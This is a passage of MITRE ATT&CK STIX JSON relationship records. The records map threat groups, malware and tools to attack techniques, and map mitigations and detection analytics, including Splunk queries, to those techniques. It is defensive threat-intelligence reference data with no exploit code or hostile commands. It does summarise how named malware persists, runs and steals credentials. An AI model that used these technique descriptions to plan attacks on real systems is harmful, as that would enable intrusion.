ASCII and in IDN domains and URL schema obfuscation may render manual checks difficult. Phishing training and other cybersecurity training may raise awareness to check URLs before visiting the sites.", "relationship_type": "mitigates", "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", "target_ref": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--59fd7bfd-f99b-4a76-9ea0-4fc89c27f204", "created": "2023-03-26T20:27:23.550Z", "revoked": false, "external_references": [{"source_name": "Cybersecurity Advisory SVR TTP May 2021", "description": "NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.", "url": "https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T20:27:23.550Z", "description": "For the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) wrote malware such as [Sibot](https://attack.mitre.org/software/S0589) in Visual Basic.(Citation: Cybersecurity Advisory SVR TTP May 2021)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--59fe8c5d-f008-4be7-a187-39d70073914d", "type": "relationship", "created": "2019-04-23T16:12:37.595Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub PoshC2", "url": "https://github.com/nettitude/PoshC2_Python", "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}], "modified": "2019-09-16T17:23:48.962Z", "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains modules, such as <code>Get-ComputerInfo</code>, for enumerating common system information.(Citation: GitHub PoshC2)", "relationship_type": "uses", "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--59fee765-c771-4d66-bc8a-ddedb49f43d8", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T21:02:34.075Z", "description": "Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. 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(2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-17T23:04:14.169Z", "description": "[PITSTOP](https://attack.mitre.org/software/S1123) can listen over the Unix domain socket located at `/data/runtime/cockpit/wd.fd`.(Citation: Mandiant Cutting Edge Part 3 February 2024)", "relationship_type": "uses", "source_ref": "malware--d79b1800-3b5d-4a4f-8863-8251eca793e2", "target_ref": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5a0ce8c4-e941-4bd0-8e70-6ca440a29b9d", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/", "description": "Sherstobitoff, R. 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Retrieved February 12, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-19T13:31:34.138Z", "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used emails with malicious links to lure victims into installing malware.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye Fin8 May 2016)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5a393124-ffca-447e-b230-468f2c57e023", "created": "2023-02-23T18:17:27.225Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender LuminousMoth July 2021", "description": "Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.", "url": "https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"}, {"source_name": "Kaspersky LuminousMoth July 2021", "description": "Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.", "url": "https://securelist.com/apt-luminousmoth/103332/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-10T16:19:00.594Z", "description": "[LuminousMoth](https://attack.mitre.org/groups/G1014) has downloaded additional malware and tools onto a compromised host.(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5a415555-1367-47dd-9757-88a86430cf49", "type": "relationship", "created": "2020-08-13T14:58:25.308Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks Karagany July 2019", "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector", "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}], "modified": "2020-08-13T14:58:25.308Z", "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can capture information regarding the victim's OS, security, and hardware configuration.(Citation: Secureworks Karagany July 2019)", "relationship_type": "uses", "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5a49400c-2003-463c-8e6e-97b79f560675", "type": "relationship", "created": "2019-06-10T16:34:59.315Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Meyers Numbered Panda", "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.", "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/"}], "modified": "2020-03-20T19:45:34.796Z", "description": "[APT12](https://attack.mitre.org/groups/G0005) has used blogs and WordPress for C2 infrastructure.(Citation: Meyers Numbered Panda)", "relationship_type": "uses", "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5a49f6f3-7820-4be1-90b3-5c559745b04c", "type": "relationship", "created": "2022-03-30T14:26:51.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.852Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5a4c3eb5-9ea2-4e7d-ae9d-d4f0a45c4803", "type": "relationship", "created": "2020-03-19T20:01:37.883Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Intezer HiddenWasp Map 2019", "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/", "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019."}], "modified": "2020-03-19T20:01:37.883Z", "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) adds itself as a shared object to the LD_PRELOAD environment variable.(Citation: Intezer HiddenWasp Map 2019)", "relationship_type": "uses", "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", "target_ref": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5a4eaa40-8146-4377-84da-dd47cca37245", "created": "2022-07-11T20:38:08.396Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-17T16:30:43.814Z", "description": "Monitor for deletion of generated artifacts on a host system, including logs or captured files such as quarantined emails. \n\nOn Windows 10, mail application data is stored in <code>C:\\Users\\Username\\AppData\\Local\\Comms\\Unistore\\data</code>. On Linux, mail data is stored in <code>/var/spool/mail</code> or <code>/var/mail</code>. On macOS, mail data is stored in <code>~/Library/Mail</code>.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", "target_ref": "attack-pattern--438c967d-3996-4870-bfc2-3954752a1927", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5a54aabe-e485-4a01-b284-cb080b11582b", "type": "relationship", "created": "2020-08-13T16:51:23.585Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Hancitor", "url": "https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html", "description": "Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."}], "modified": "2020-09-02T19:29:12.507Z", "description": "[Hancitor](https://attack.mitre.org/software/S0499) has used PowerShell to execute commands.(Citation: FireEye Hancitor)", "relationship_type": "uses", "source_ref": "malware--ef2247bf-8062-404b-894f-d65d00564817", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5a56cf34-c344-4b2a-ac9e-4f08f049d7ce", "type": "relationship", "created": "2020-10-21T17:01:35.472Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Metamorfo Apr 2018", "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html", "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."}], "modified": "2020-10-21T17:01:35.472Z", "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has displayed fake forms on top of banking sites to intercept credentials from victims.(Citation: FireEye Metamorfo Apr 2018) ", "relationship_type": "uses", "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5a580cd0-19f1-41d6-865b-786a41081a7e", "type": "relationship", "created": "2020-03-09T13:48:55.802Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-01-24T20:34:05.703Z", "description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions.\n\nDisable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5a5914f0-4e99-494b-bcf3-b199f623e36d", "type": "relationship", "created": "2022-03-26T03:47:59.085Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mythc Documentation", "url": "https://docs.mythic-c2.net/", "description": "Thomas, C. (n.d.). Mythc Documentation. Retrieved March 25, 2022."}], "modified": "2022-03-26T03:47:59.085Z", "description": "[Mythic](https://attack.mitre.org/software/S0699) can leverage a peer-to-peer C2 profile between agents.(Citation: Mythc Documentation)\t\t", "relationship_type": "uses", "source_ref": "tool--d505fc8b-2e64-46eb-96d6-9ef7ffca5b66", "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5a5abca2-6e7c-4714-a7e0-88d05885bb57", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T17:52:08.163Z", "description": "Monitor for user accounts logged into systems associated with RDP (ex: Windows EID 4624 Logon Type 10). Other factors, such as access patterns (ex: multiple systems over a relatively short period of time) and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.\n\nMonitoring logon and logoff events for hosts on the network is very important for situational awareness. This information can be used as an indicator of unusual activity as well as to corroborate activity seen elsewhere.\n\nCould be applied to a number of different types of monitoring depending on what information is desired. Some use cases include monitoring for all remote connections and building login timelines for users. Logon events are Windows Event Code 4624 for Windows Vista and above, 518 for pre-Vista. Logoff events are 4634 for Windows Vista and above, 538 for pre-Vista.\n\nNote: This analytic looks for user logon events and filters out the top 30 account names to reduce the occurrence of noisy service accounts and the like. It is meant as a starting point for situational awareness around such events. This is liable to be quite noisy and will need tweaking, especially in terms of the number of top users filtered out.\n\nAnalytic 1\n\n<code>source=\"*WinEventLog:Security\" EventCode IN (4624, 4634, 4647, 4778)\n|search user NOT IN top limit=30</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5a5d0520-7bee-4517-81f0-4710d99ac92b", "type": "relationship", "created": "2022-03-30T14:26:51.860Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.860Z", "description": "Monitor requests of new ticket granting ticket or service tickets to a Domain Controller. Windows Security events such as 4768 (A Kerberos authentication ticket (TGT) was requested) and 4769 (A Kerberos service ticket was requested) combined with logon session creation information may be indicative of an overpass the hash attempt.", "source_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc", "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5a67ece5-7409-4eb5-8c64-4a67e2f52776", "type": "relationship", "created": "2020-03-09T14:15:05.754Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-09T14:15:05.754Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5a683179-f1fc-4113-b157-2c0a03f82083", "created": "2022-03-30T14:26:51.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T13:26:52.290Z", "description": "Monitor and investigate attempts to modify ACLs and file/directory ownership. Consider enabling file/directory permission change auditing on folders containing key binary/configuration files.\n\nThis looks for any invocations of chmod. Note that this is likely to be more noisy than the Windows-specific implementation, although Linux does not generate logs for system triggered activities like in Windows. In addition, it may be necessary to whitelist cron jobs that regularly run and execute chmod.\n\nLinux environment logs can be more noisy than the Windows-specific implementation, although Linux does not generate logs for system triggered activities like in Windows. In addition, it may be necessary to whitelist cron jobs that regularly run and execute chmod.\n\nAnalytic 1 - Access Permission Modification for Linux\n\n<code>source=\"*linux:*\" CommandLine=\"chmod*\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", "target_ref": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5a6942dc-eab7-4f45-b5fa-6149774e2acc", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "PWC Cloud Hopper Technical Annex April 2017", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", "url": "https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:14:18.622Z", "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used the Microsoft administration tool csvde.exe to export Active Directory data.(Citation: PWC Cloud Hopper Technical Annex April 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5a70a968-618c-489e-8087-eabca740aa3a", "type": "relationship", "created": "2020-03-13T14:10:43.564Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-09-16T16:56:34.867Z", "description": "Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory <code>C:</code> and system directories, such as <code>C:\\Windows\\</code>, to reduce places where malicious files could be placed for execution. Require that all executables be placed in write-protected directories.", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5a72e713-c8fb-4438-9a08-0ded824381dd", "type": "relationship", "created": "2020-01-24T15:01:33.185Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-11T18:52:50.017Z", "description": "Odbcconf.exe may not be necessary within a given environment.", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--5a73d370-7d3d-45ff-b096-acd5bcacad08", "created": "2022-07-07T14:47:27.297Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Microsoft POLONIUM June 2022", "url": "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/", "description": "Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CreepyDrive](https://attack.mitre.org/software/S1023) can use OneDrive for C2.(Citation: Microsoft POLONIUM June 2022)", "modified": "2022-08-08T20:11:23.492Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--750eb92a-7fdf-451e-9592-1d42357018f1", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5a742223-f67f-447f-af86-5ed546f8476b", "type": "relationship", "created": "2020-10-02T16:27:55.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-02T16:27:55.863Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f", "target_ref": "attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5a76872f-862b-414c-a71d-f0dc39a6c3b4", "type": "relationship", "created": "2020-11-25T21:00:56.154Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "url": "https://www.justice.gov/opa/press-release/file/1328521/download", "description": "Scott W. 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Retrieved November 25, 2020."}], "modified": "2020-11-25T21:00:56.154Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has leased servers from resellers instead of leasing infrastructure directly from hosting companies to enable its operations.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5a771636-9b4d-423c-b7ba-1f274cbfb5b7", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/", "description": "Sabo, S. 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Retrieved March 30, 2021."}], "modified": "2021-04-13T00:50:31.599Z", "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a hardcoded location that it uses to achieve persistence if the startup system is Upstart or System V and it is running as root.(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5a85a31a-f5dd-4058-87d3-bb0b6fcfffb3", "type": "relationship", "created": "2021-04-22T13:50:46.735Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Kimsuky November 2020", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", "description": "Dahan, A. et al. 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Retrieved December 2, 2020."}], "modified": "2021-09-13T18:33:56.415Z", "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can create a persistence file in the folder <code>/Library/LaunchAgents</code>.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)", "relationship_type": "uses", "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5a9197b3-c5fb-4288-9fdf-684fa289435b", "type": "relationship", "created": "2020-05-15T13:43:22.806Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist DarkVishnya Dec 2018", "url": "https://securelist.com/darkvishnya/89169/", "description": "Golovanov, S. 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Retrieved May 15, 2020."}], "modified": "2020-05-15T13:43:22.806Z", "description": "[DarkVishnya](https://attack.mitre.org/groups/G0105) used brute-force attack to obtain login data.(Citation: Securelist DarkVishnya Dec 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--813636db-3939-4a45-bea9-6113e970c029", "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5a9f2571-e611-4f7f-b0c9-6fc2d306b2f6", "type": "relationship", "created": "2020-05-13T19:39:41.741Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky MoleRATs April 2019", "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", "description": "GReAT. 